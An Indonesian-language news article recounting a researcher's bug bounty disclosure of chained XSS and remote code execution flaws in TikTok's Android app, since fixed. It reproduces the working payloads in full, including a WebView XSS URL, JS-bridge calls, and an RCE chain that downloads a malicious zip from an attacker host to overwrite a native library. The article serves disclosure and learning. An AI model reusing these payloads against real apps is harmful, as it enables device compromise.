TikTok Perbaiki Multiple Bug XSS dan RCE Atas Temuan Sayed AbdelHafiz


Bug TikTok - Bug hunter yang bernama Sayed Abdelhafiz baru saja membuat write-up atas temuannya yaitu multiple bug di TikTok, mulai dari Cross-site-scripting (XSS) hingga Remote Code Execution (RCE). Laporan tersebut ia unggah pada 24 Desember 2020 dan bulan Januari pihak TikTok Staff mengapresiasinya melalui platform HackerOne.

TikTok sendiri merupakan aplikasi paling populer di Play Store Indonesia, ini terbukti dari total unduhan yang berhasil dicapai yakni sekitar 1 milliar lebih dengan total ulasan sebanyak lebih dari 32 juta dan mendapatkan rating 4.5.

Seperti halnya perusahaan raksasa lain, TikTok Pte juga tidak ingin kebocoran data dan untuk mencegahnya, ia bergabung dengan berbagai platform bug bounty seperti HackerOne maupun BugCrowd. Dari sinilah keamanan data mereka selalu terjaga, berkat keahlian yang dimiliki white hat hacker untuk membantu menemukan celah keamanan di dalamnya, baik itu di website maupun di aplikasi.

"Saat menguji TikTok untuk Aplikasi Android, saya mengidentifikasi beberapa bug yang dapat dirantai untuk mencapai eksekusi kode jarak jauh yang dapat diprioritaskan melalui beberapa vektor serangan berbahaya. Dalam artikel ini, kami akan membahas setiap bug dan rantai sekaligus. Saya mengerjakannya selama sekitar 21 hari, waktu yang lama. Eksploitasi terakhir sederhana. Waktu lama yang saya habiskan dalam eksploitasi ini memberi saya pengalaman luar biasa dan trik penting yang banyak membantu saya dalam mengeksploitasi. TikTok menerapkan perbaikan untuk mengatasi bug yang diidentifikasi, dan itu diuji ulang untuk mengonfirmasi resolusi." kata Sayed dalam posting blognya.

Berikut ini adalah temuan bug yang berhasil di identifikasi di TikTok :
  • Universal XSS on TikTok WebView
  • Another XSS on AddWikiActivity
  • Start Arbitrary Components
  • Zip Slip in TmaTestActivity
  • Remote Code Execution
Menurut informasi dari Google Developer, aplikasi Android pada umumnya menggunakan class WebView untuk memberikan informasi data kepada pengguna seperti email dan lainnya. Namun, dalam kasus WebView yang digunakan TikTok ia menangani panggilan tertentu yang di dalamnya berisi tautan pesan masuk yang mengambilnya dari file internal / server dengan tujuan untuk meningkatkan performa kinerja aplikasi.

WebView pada aplikasi Android memungkinkan pengguna dapat menampilkan halaman sebagai bagian dari tata letak aktivitas dari pengguna. Namun, class WebView tidak menyertakan fitur apapun layaknya di browser web, melainkan hanya menampilkan halaman web yang sudah di konfigurasikan secara default.

Ketika WebView berhasil dimuat, maka barisan kode di bawah ini akan dijalanan untuk pengukuran kinerja.

this.a.evaluateJavascript("JSON.stringify(window.performance.getEntriesByName(\'" + this.webviewURL + "\'))", v2);

Setelah menemukan barisan kode tersebut, kemudian, Sayed mencoba memasukkan payload XSS berharap dapat tereksekusi dengan baik, namun ternyata gagal. Berikut payload yang ia gunakan dalam uji cobanya.

https://m.tiktok.com/falcon/?%27),alert(1));//

Sayed mencoba mencari cara agar payload XSS tersebut mampu dihasilkan dengan baik, dan tahap selanjutnya ia menggunakan Frida. Lalu, ia menemukan barisan kode unik, yang ternyata ini adalah permasalahan mengapa payload XSS tidak berhasil tereksekusi.

JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/?%27)%2Calert(1))%3B%2F%2F'))

Ya, payload yang digunakan Sayed ternyata dienkode, dan cara untuk membypassnya ia menempatkan payload tersebut setelah simbol #. Berikut payload XSS sesungguhnya:

https://m.tiktok.com/falcon/#'),alert(1));//

Dan, payload XSS berhasil tereksekusi di WebView TikTok.

Sebelum tahap eksekusi bug RCE, ia juga menemukan bug XSS lainnya pada AddWikiActivity. Berikut payload yang ia gunakan:

window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
    "__callback_id": "0",
    "func": "openSchema",
    "__msg_type": "callback",
    "params": {
        "schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false"
    },
    "JSSDK": "1",
    "namespace": "host",
    "__iframe_url": "http://iframe.attacker.com/"
}));

Nah untuk payload RCE-nya, ia juga membagikan secara lengkap. Berikut unggahannya:

document.title = "Loading..";
document.write("<h1>Loading..</h1>");
if (document && window.name != "finished") { // the XSS will be fired multiple time before loading the page and after. this condition to make sure that the payload won't fire multiple time.
    window.name = "finished";
    window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
        "__callback_id": "0",
        "func": "preloadMiniApp",
        "__msg_type": "callback",
        "params": {
            "mini_app_url": "https://microapp/"
        },
        "JSSDK": "1",
        "namespace": "host",
        "__iframe_url": "http://d.c/"
    })); // initialize Mini App
    window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
        "__callback_id": "0",
        "func": "openSchema",
        "__msg_type": "callback",
        "params": {
            "schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%2F%2Fwww.google.com.eg%2F%3Faction%3DsdkUpdate%26latestSDKUrl%3Dhttp%3A%2F%2F{ATTACKER_HOST}%2Flibran_a1ef01b09a3d9400b77144bbf9ad59b1.zip%26sdkUpdateVersion%3D1.87.1.11%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapp.tmatest.TmaTestActivity%3Bpackage%3Dcom.zhiliaoapp.musically%3Baction%3Dandroid.intent.action.VIEW%3Bend%22)%3B%0A&noRedirect=false&title=First%20Stage&disable_app_link=false"
        },
        "JSSDK": "1",
        "namespace": "host",
        "__iframe_url": "http://iframe.attacker.com/"
    })); // Download malicious zip file that will overwite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
    setTimeout(function() {
        window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
            "__callback_id": "0",
            "func": "openSchema",
            "__msg_type": "callback",
            "params": {
                "schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapphost.placeholder.MiniappTabActivity0%3Bpackage%3Dcom.zhiliaoapp.musically%3BS.miniapp_url%3Dhttps%3Bend%22)%3B%0A&noRedirect=false&title=Second%20Stage&disable_app_link=false"
            },
            "JSSDK": "1",
            "namespace": "host",
            "__iframe_url": "http://iframe.attacker.com/"
        })); // load the malicious library after overwrtting it.
    }, 5000);
}

Dari hasil penelitiannya di TikTok, Sayed Abdelhafiz mendapatkan hadiah sebesar $11,214 atau sekitar Rp161 juta.

Posting Komentar

0 Komentar